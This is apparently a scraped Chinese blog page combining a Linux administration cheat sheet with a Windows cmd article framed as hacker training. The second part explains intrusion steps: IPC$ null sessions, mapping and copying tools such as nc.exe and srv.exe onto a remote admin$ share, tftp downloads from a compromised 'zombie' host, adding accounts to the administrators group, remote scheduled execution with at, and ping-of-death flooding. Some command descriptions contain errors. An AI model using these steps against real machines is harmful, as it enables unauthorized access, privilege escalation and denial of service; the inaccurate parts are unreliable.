    前后几行查看

    head a.java				查看a.java文件的前10行内容;
    tail -f a.java			查看a.java文件的后10行内容;
    head -n 7 a.java		查看a.java文件的前7行内容;
    tail -n 7 a.java		查看a.java文件的后7行内容;
    

    文件内部搜索指定的内容

    grep under 123.txt			在123.txt文件中搜索under字符串,大小写敏感,显示行;
    grep -n under 123.txt		在123.txt文件中搜索under字符串,大小写敏感,显示行及行号;
    grep -v under 123.txt		在123.txt文件中搜索under字符串,大小写敏感,显示没搜索到的行;
    grep -i under 123.txt		在123.txt文件中搜索under字符串,大小写敏感,显示行;
    grep -ni under 123.txt		在123.txt文件中搜索under字符串,大小写敏感,显示行及行号;
    

    终止当前操作

    Ctrl+cCtrl+z都是中断命令,但是作用却不一样。

    ctrl+z
    ctrl+c
    

    Ctrl+Z就扮演了类似的角色,将任务中断,但是任务并没有结束,在进程中只是维持挂起的状态,用户可以使用fg/bg操作前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行。
    Ctrl+C也扮演类似的角色,强制中断程序的执行。

    重定向功能
    可以使用 > 或 < 将命令的输出的命令重定向到test.txt文件中(没有则创建一个)

    echo 'Hello World' > /root/test.txt
    

    四、创建与删除软连接

    1、创建软连接

    ln -s /usr/local/app /data
    
    注意:创建软连接时,data目录后不加 / (加上后是查找其下一级目录);

    在这里插入图片描述
    2、删除软连接

    rm -rf /data
    

    注意:取消软连接最后没有/,rm -rf 软连接。加上/是删除文件夹;

    在这里插入图片描述

    五、压缩和解压缩

    tar

    tar -zcvf start.tar.gz a.java b.java	将当前目录下a.java、b.java打包
    tar -zcvf start.tar.gz ./*				将当前目录下的所欲文件打包压缩成haha.tar.gz文件
    
    tar -xvf start.tar.gz				解压start.tar.gz压缩包,到当前文件夹下;
    tar -xvf start.tar.gz -C usr/local(C为大写,中间无空格)
    									解压start.tar.gz压缩包,到/usr/local目录下;
    

    unzip

    unzip file1.zip  				解压一个zip格式压缩包
    zip lib.zip tomcat.jar			将单个文件压缩(lib.zip)
    zip -r lib.zip lib/				将目录进行压缩(lib.zip)
    zip -r lib.zip tomcat-embed.jar xml-aps.jar		将多个文件压缩为zip文件(lib.zip)	
    

    english.zip包,解压到指定目录下/usr/app/

    unzip -d /usr/app/ com.lydms.english.zip
    

    六、系统日志查看

    cat /etc/redhat-release		查看操作系统版本
    /var/log/message			系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
    /var/log/message			系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 
    /var/log/secure				与安全相关的日志信息 
    /var/log/maillog			与邮件相关的日志信息 
    /var/log/cron				与定时任务相关的日志信息 
    /var/log/spooler			与UUCP和news设备相关的日志信息 
    /var/log/boot.log			守护进程启动和停止相关的日志消息 
    

    查看某文件下的用户操作日志
    到达操作的目录下,执行下面的程序:

    cat .bash_history
    

    七、Linux下文件的详细信息

     R:Read  w:write  x: execute执行
    -rw-r--r-- 1 root root  34942 Jan 19  2018 bootstrap.jar
    前三位代表当前用户对文件权限:可以读/可以写/不能执行
    中间三位代表当前组的其他用户对当前文件的操作权限:可以读/不能写/不能执行
    后三位其他用户对当前文件权限:可以读/不能写/不能执行
    

    文件

    更改文件的权限

    chmod u+x web.xml (---x------)		为文件拥有者(user)添加执行权限;
    chmod g+x web.xml (------x---)		为文件拥有者所在组(group)添加执行权限;
    chmod 111 web.xml  (---x--x--x)	为所有用户分类,添加可执行权限;
    chmod 222 web.xml (--w--w--w-)		为所有用户分类,添加可写入权限;	
    chmod 444 web.xml (-r--r--r--)		为所有用户分类,添加可读取权限;
    

    八、常用的docker容器的命令:

    1、下载镜像
    Linux服务器下载安装包镜像命令

    wget https://mirrors.huaweicloud.com/elasticsearch/7.8.0/elasticsearch-7.8.0-windows-x86_64.zip
    

    华为开源镜像站

    https://mirrors.huaweicloud.com/
    

    2、常用命令

    #1、查看docker中下载好的镜像:
    docker images
     #2、查询需要的容器名称:
    docker search mysql
    #3、将需要的docker容器下载运行到本地(名称、端口号、msyql密码、ID):
    docker run -di --name=first -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root 26d26dsfsd31a
    #4、查看运行的docker容器:
    docker ps
    #5、查看所有的docker容器(包括未运行的):
    docker ps -a
    #6、停止当前运行的docker容器:
    docker stop first
    #7、启动docker容器:
    docker start first
    #8、重启docker容器:
    docker restart first
    #9、删除docker容器:
    docker rm first
    

    九、运维常用命令

    1、shutdown(关闭计算机)

    shutdown是最常用也是最安全的关机和重启命令,它会在关机之前调用fsck检查磁盘,其中-h和-r是最常用的参数:

    -h:停止系统服务并关机  
    -r: 停止系统服务后重启  
    

    案例:

    shutdown -h now  --立即关机  
    shutdown -h 10:53  --10:53关机,如果该时间小于当前时间,则到隔天  
    shutdown -h +10  --10分钟后自动关机  
    shutdown -r now  --立即重启  
    shutdown -r +30 'The System Will Reboot in 30 Mins'   --30分钟后重启并并发送通知给其它在线用户  
    

    2、查看处于各种连接状态数量(ESTABLISHEDCLOSE_WAITTIME_WAIT)

    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
    

    在这里插入图片描述
    查看处于ESTABLISHED状态连接

    netstat -nt | awk '{if($NF=="ESTABLISHED"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'
    

    查看处于CLOSE_WAIT状态连接

    netstat -nt | awk '{if($NF=="CLOSE_WAIT"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'
    

    查看处于TIME_WAIT状态连接

    netstat -nt | awk '{if($NF=="TIME_WAIT"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'
    

    3、ping命令
    对 www.lydms.com 发送 4 个 ping 包, 检查与其是否联通

    ping -c 4 www.lydms.com
    

    4、netstat 命令
    netstat 命令用于显示各种网络相关信息,如网络连接, 路由表, 接口状态等等;
    列出所有处于监听状态的tcp端口:

    netstat -lt
    

    查看所有的端口信息, 包括 PID 和进程名称

    netstat -tulpn
    

    5、查看当前端口号占用情况
    1.用于查看某一端口的占用情况

    lsof -i:8080
    

    2.显示tcp,udp的端口和进程等相关情况

    netstat -tunlp
    

    3.指定端口号的进程情况

    netstat -tunlp|grep 8080
    

    4.根据PID查看找到对应的线程

    jstack 2246|grep '0x9eb' -A 50
    

    6、ps 命令
    过滤得到当前系统中的 ssh 进程信息

    ps aux | grep 'ssh'
    

    7、管道命令
    简单来说, Linux 中管道的作用是将上一个命令的输出作为下一个命令的输入, 像 pipe 一样将各个命令串联起来执行, 管道的操作符是 |
    管道命令查看当前运行的程序中,名称为java的程序

    ps -ef|grep java
    

    查看/etc/passwd文件中的root内容

    cat /etc/passwd | grep 'root'
    

    查看当前系统的ip连接(Windows和Linux通用)

    netstat -an
    

    将sh test.sh任务放到后台,并将打印的日志输出到nohup.out文件中,终端不再能够接收任何输入(标准输入)

    nohup sh test.sh  &
    

    将sh test.sh任务放到后台,并将打印的日志输出到nohup.out文件中,终端能够接收任何输入

    nohup sh test.sh  &
    

    8、添加Host地址
    打开配置文件

    vim /etc/hosts
    

    在打开的文件中添加

    49.235.32.164 www.lydms.com
    

    保存文件后,重启网络

    /etc/init.d/network restart
    

    重新加载成功:
    在这里插入图片描述

    十、yum常用命令

    yum install iptables-services		下载并安装iptables
    yum list					列出当前系统中安装的所有包
    yum search package_name		在rpm仓库中搜寻软件包
    yum update package_name.rpm		更新当前系统中所有安装的rpm包
    yum update package_name		更新一个rpm包
    yum remove package_name		删除一个rpm包
    yum clean all				删除所有缓存的包和头文件
    

    十一、其他命令

    查看占用资源

    ps -au		占用的资源是从进程启动开始,计算的平均占用资源,比如cpu等
    top			实时占用的资源;
    

    查看当前目录所占存储

    du -lh			查看当前文件下各文件夹占用存储空间
    du -sh			查看当前文件夹所占存储空间
    

    管道命令:
    根据项目查看进程,更加PID查看项目,以及项目路径

    ps -ef 						查看所有的进程
    ps -ef | grep mysql			查看mysql相关的进程
    

    通过进程PID查看所占用的端口号

    netstat -nap |grep 进程ID(PID)
    

    查看Linux下系统存储使用率

    df -h			查看系统硬盘使用情况
    

    杀死进程(根据PID)

    kill -9 2630		进程pid
    

    关闭防火墙

    service iptables stop      临时关闭防火墙
    chkconfig iptables off     防火墙开启不启动
    service iptables status    查看防火墙状态
    

    开机启动选项

    msconfig					查看开机启动选项
    chkconfig					查看开机启动服务列表
    

    查看MySQL服务的程序的状态

    service mysql start        开启MySQL    
    service mysql status       查看MySQL的状态    
    service mysql stop         关闭MySQL    
    

    十二、Linux内核优化

    打开配置文件

    vim /etc/sysctl.conf
    

    加载新的配置(需开启防火墙iptables,否则会报错)

    sysctl -p
    

    收藏的详情地址

    https://www.cnblogs.com/lldsn/p/10489593.html
    

    十三、用户权限操作

    1、添加用户

    添加用户sum:

    useradd –d /usr/sum -m sum
    

    关于useradd的某些参数:

    -u: 指定 UID,这个 UID 必须是大于等于500,并没有其他用户占用的 UID

    -g: 指定默认组,可以是 GID 或者 GROUPNAME,同样也必须真实存在

    -G: 指定额外组

    -c: 指定用户的注释信息

    -d: 指定用户的家目录

    已创建的用户sum设置密码

    passwd sum
    

    新建的用户在面显示

    cat /etc/passwd
    

    反反复复

    删除用户sum

    userdel sum
    

    删除用户文件夹

    rm -rf /usr/sum
    

    切换下刚才添加的用户

    su sum
    

    回到root用户

    exit
    

    2、添加组

    添加用户组

    groupadd groupname
    

    删除用户组

    groupdel groupname
    

    可以看到自己的分组和分组id

    cat /etc/group
    

    sum: x:1000:1000:: /usr/sum :/bin/bash
    sum: x:0:1000:: /usr/sum :/bin/bash

    十四、TOP

    实时占用的资源:

    top
    

    在这里插入图片描述

    top命令执行结果分为两个区域:统计信息区进程信息区

    1、统计信息区

    TOP:任务队列信息,与uptime命令执行结果相同.

    • 15:33:39:系统时间
    • up 5:40:主机已运行时间
    • 2 users:用户连接数(不是用户数,who命令)
    • load average: 1.09, 1.04, 0.98:系统平均负载,统计最近1,5,15分钟的系统平均负载

    Tasks:进程信息

    • 123 total:进程总数
    • 3 running:正在运行的进程数
    • 120 sleeping:睡眠的进程数
    • 0 stopped:停止的进程数
    • 0 zombie:僵尸进程数

    %CPU(s):CPU信息(当有多个CPU时,这些内容可能会超过两行)

    • 42.1 us:用户空间所占CPU百分比
    • 2.0 sy:内核空间占用CPU百分比
    • 0.0 ni:用户进程空间内改变过优先级的进程占用CPU百分比
    • 49.2 id:空闲CPU百分比
    • 0.0 wa:等待输入输出的CPU时间百分比
    • 6.0 hi:硬件CPU终端占用百分比
    • 0.7 si:软中断占用百分比
    • 0.0 st:虚拟机占用百分比

    KiB Mem:内存信息(与第五行的信息类似与free命令类似)

    • 3780.9 total:物理内存总量
    • 727.4 free:已使用的内存总量
    • 668.8 used:空闲的内存总量(free + userd = total)
    • 2384.7 buff/cache:用作内核缓存的内存量

    KiB:swap信息

    • 2048.0 total:交换分区总量
    • 2046.0 free:已使用的交换分区总量
    • 2.0 used:空闲交换分区总量
    • 859.6 avail:缓冲的交换区总量,内存中的内容被换出到交换区,然后又被换入到内存,但是使用过的交换区没有被覆盖,交换区的这些内容已存在于内存中的交换区的大小,相应的内存再次被换出时可不必再对交换区写入。

    2、进程信息区

    • PID:进程id

    • USER:进程所有者的用户名

    • PR:优先级

    • NI:nice值。负值表示高优先级,正值表示低优先级

    • RES:进程使用的、未被换出的物理内存的大小

    • %CPU:上次更新到现在的CPU时间占用百分比

    • %MEM:进程使用的物理内存百分比

    • TIME+:进程所使用的CPU时间总计,单位1/100秒

    • COMMAND:命令名/行

    • PPID:父进程id

    • RUSER:Real user name(看了好多,都是这样写,也不知道和user有什么区别,欢迎补充此处)

    • UID:进程所有者的id

    • VIRT:进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RES

    • GROUP:进程所有者的组名

    • TTY:启动进程的终端名。不是从终端启动的进程则显示为?

    • NI:nice值。负值表示高优先级,正值表示低优先级

    • P:最后使用的CPU,仅在多CPU环境下有意义

    • TIME:进程使用的CPU时间总计,单位秒

    • SWAP:进程使用的虚拟内存中被被换出的大小

    • CODE:可执行代码占用的物理内存大小

    • DATA:可执行代码以外的部分(数据段+栈)占用的物理内存大小

    • SHR:共享内存大小

    • nFLT:页面错误次数

    • nDRT:最后一次写入到现在,被修改过的页面数

    • S:进程状态(D=不可中断的睡眠状态,R=运行,S=睡眠,T=跟踪/停止,Z=僵尸进程)

    • WCHAN:若该进程在睡眠,则显示睡眠中的系统函数名

    • Flags:任务标志

    展开全文
  • 汇总好玩的cmd命令大全

    万次阅读 多人点赞 2019-05-28 15:31:33
    是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序。 类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行。 比如输入shutdown -s就会在30秒后关机。总之,它非常有用。 很多朋友往往都对...

    前言:

    CMD是什么?在windows环境下,命令行程序为cmd.exe。
    是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序。
    类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行。
    比如输入shutdown -s就会在30秒后关机。总之,它非常有用。

    很多朋友往往都对黑客比较崇拜,其实黑客也只是比我们知道更多一些我们所不了解的电脑相关命令。
    在使用中也最常见,要想成为一名黑客各种cmd命令必须学会。

    net use ipipc$ " " /user:" " 建立IPC空链接
    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: ipc$ 登陆后映射对方C:到本地为H:
    net use ipipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time 目标ip 查看对方时间
    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    

    这tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。
    例如“DEL/AR .”表示删除当前目录下所有只读文件,“DEL/A-S .”表示删除当前目录下除系统文件以外的所有文件
    ``如何qq轰炸别人手机 如何qq多次发送消息 教你如何用记事本创建一个微信 QQ轰炸器 通信软件通用!
    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> “和”> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy ipadminsvv.exec::copyipadminsvv.exe c: 或:copyipadmin. 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传
    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续…
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello里是引用
    find 文件名 查找某文件

    黑客入门,入侵电脑,获取管理权限,必须掌握的8个基本的DOS命令如下:
    一,ping   
    它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车,。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。   
      -t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。  
      -l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。   
      -n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。  
      说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如"ping IP -t -n 3",虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的IP。   
      下面我们举个例子来说明一下具体用法。  
      这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统,之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。
      (小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix)
      至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。   
    二,nbtstat    n. 显示统计数据命令

    该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。  
      -a 使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息(下同)。   
      -A 这个参数也可以得到远程主机的NETBIOS信息,但需要你知道它的IP。
      -n 列出本地机器的NETBIOS信息。   
      当得到了对方的IP或者机器名的时候,就可以使用nbtstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。   
    三,netstat
      这是一个用来查看网络状态的命令,操作简便功能强大。  
      -a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息,如图4。   
      这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法:netstat -a IP。
      -r 列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。用法:netstat -r IP。
    四,tracert
      跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。用法:tracert IP。   
    五,net   
      这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车如图6。
      在这里,我们重点掌握几个**常用的子命令。  
      net view   
      使用此命令查看远程主机的所以共享资源。命令格式为net view IP。  
      net use
      把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x: IPsharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPCnetuseIPIPC连接(net use IPIPC “password” /user:“name”),   
      建立了IPCcopync.exe192.168.0.7admin连接后,呵呵,就可以上传文件了:copy nc.exe 192.168.0.7admin,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。  
      net start
      使用它来启动远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?就使用这个命令来启动吧。用法:net start servername。   
      net stop
      入侵后发现远程主机的某个服务碍手碍脚,怎么办?利用这个命令停掉就ok了,用法和net start同。   
      net user
      查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。
      1,net user abcd 1234 /add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。
      2,net user abcd /del,将用户名为abcd的用户删除。
      3,net user abcd /active:no,将用户名为abcd的用户禁用。
      4,net user abcd /active:yes,激活用户名为abcd的用户。
      5,net user abcd,查看用户名为abcd的用户的情况  
      net localgroup
      查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。用法:net localgroup groupname username /add。   
      现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用net user abcd来查看他的状态,和图10进行比较就可以看出来。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。有兴趣的朋友可以参照《黑.客防线》第30期上的《由浅入深解析隆帐户》一文。  
      net time
      这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步打好基础。用法:net time IP。   
    六,at   
      这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。用法:at time command computer。   
      表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。   
    七,ftp   
      大家对这个命令应该比较熟悉了吧?网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。
      首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入"help"来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。   
      大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。  
      首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可,一般端口默认都是21,可以不写。接着就是输入合法的用户名和密码进行登陆了,这里以匿名ftp为例介绍。  
      用户名和密码都是ftp,密码是不显示的。当提示**** logged in时,就说明登陆成功。这里因为是匿名登陆,所以用户显示为Anonymous。   
      接下来就要介绍具体命令的使用方法了。  
      dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。
      cd 进入某个文件夹。
      get 下载文件到本地机器。
      put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么 利用就不多说了,大家就自由发挥去吧。
      delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
      bye 退出当前连接。
      quit 同上。
    八,telnet
      功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。为什么?它操作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以administrator身份连接了远程机器后,就可以用它来干你想干的一切了。下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。  
      然后在提示符下键入open IP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。   
      当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。  
      到这里为止,网络DOS命令的介绍就告一段落了,这里介绍的目的只是给菜鸟网管一个印象,让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些,这里只是抛砖引玉,希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助,特别的熟练掌握了一些网络的DOS命令。
      另外大家应该清楚,任何人要想进入系统,必须得有一个合法的用户名和密码(输入法漏洞差不多绝迹了吧),哪怕你拿到帐户的只有一个很小的权限,你也可以利用它来达到最后的目的。所以坚决消灭空口令,给自己的帐户加上一个强壮的密码,是最好的防御弱口令入侵的方法。
      最后,给大家一个好玩的!!!
      改变cmd 颜色
    color a

    0 = 黑色       8 = 灰色
    1 = 蓝色       9 = 淡蓝色
    2 = 绿色       A = 淡绿色
    3 = 浅绿色     B = 淡浅绿色
    4 = 红色       C = 淡红色
    5 = 紫色       D = 淡紫色
    6 = 黄色       E = 淡黄色
    7 = 白色       F = 亮白色
    

    最后一条 泡妹子/装逼必备
    扫描当前所有目录

    -dir /w/s
    

    .

    展开全文
  • 2.1 ls 命令 2.1.1 ls -l命令 2.1.2ls -a命令 2.2stat命令 2.3 cd命令 2.4 pwd命令 2.5which命令 2.6touch命令 2.7mkdir 命令 2.8rmdir 命令 2.9rm 命令 2.10mv命令 2.11cp命令 2.12c...
  • Linux 命令大全

    千次阅读 多人点赞 2018-11-03 10:46:19
    文件和目录管理的基本命令 一、ls命令 作用:显示目录内容或目标列表的內容 语法:ls [选项] [目标或文件] -a: 显示指定目标下所有子目录与文件,包括隐藏文件 -l:显示文件的详细信息 -d:显示目录 例子:...
  • windows系统常用命令行

    万次阅读 2018-02-20 17:55:08
    即可查询该命令的用法,对一个经常使用命令行的人而言这是最重要的start #该命令会再打开一个命令提示符窗口assoc #显示文件扩展关联(即什么样的后缀名用什么样的软件打开)可见.RAR=WinRAR表示后缀名为.RAR的文件要...
  • 想看本机ip,但是得到"bash: ifconfig: 未找到命令"信息 网上很多博客写要安装ifconfig和net-tools,跟着做了,还是不行,可能是没有配环境变量 看了一下 ifconfig在 /usr/sbin下 那就开始吧~ 1. 进入/etc/profile...
  • Linux查看历史命令

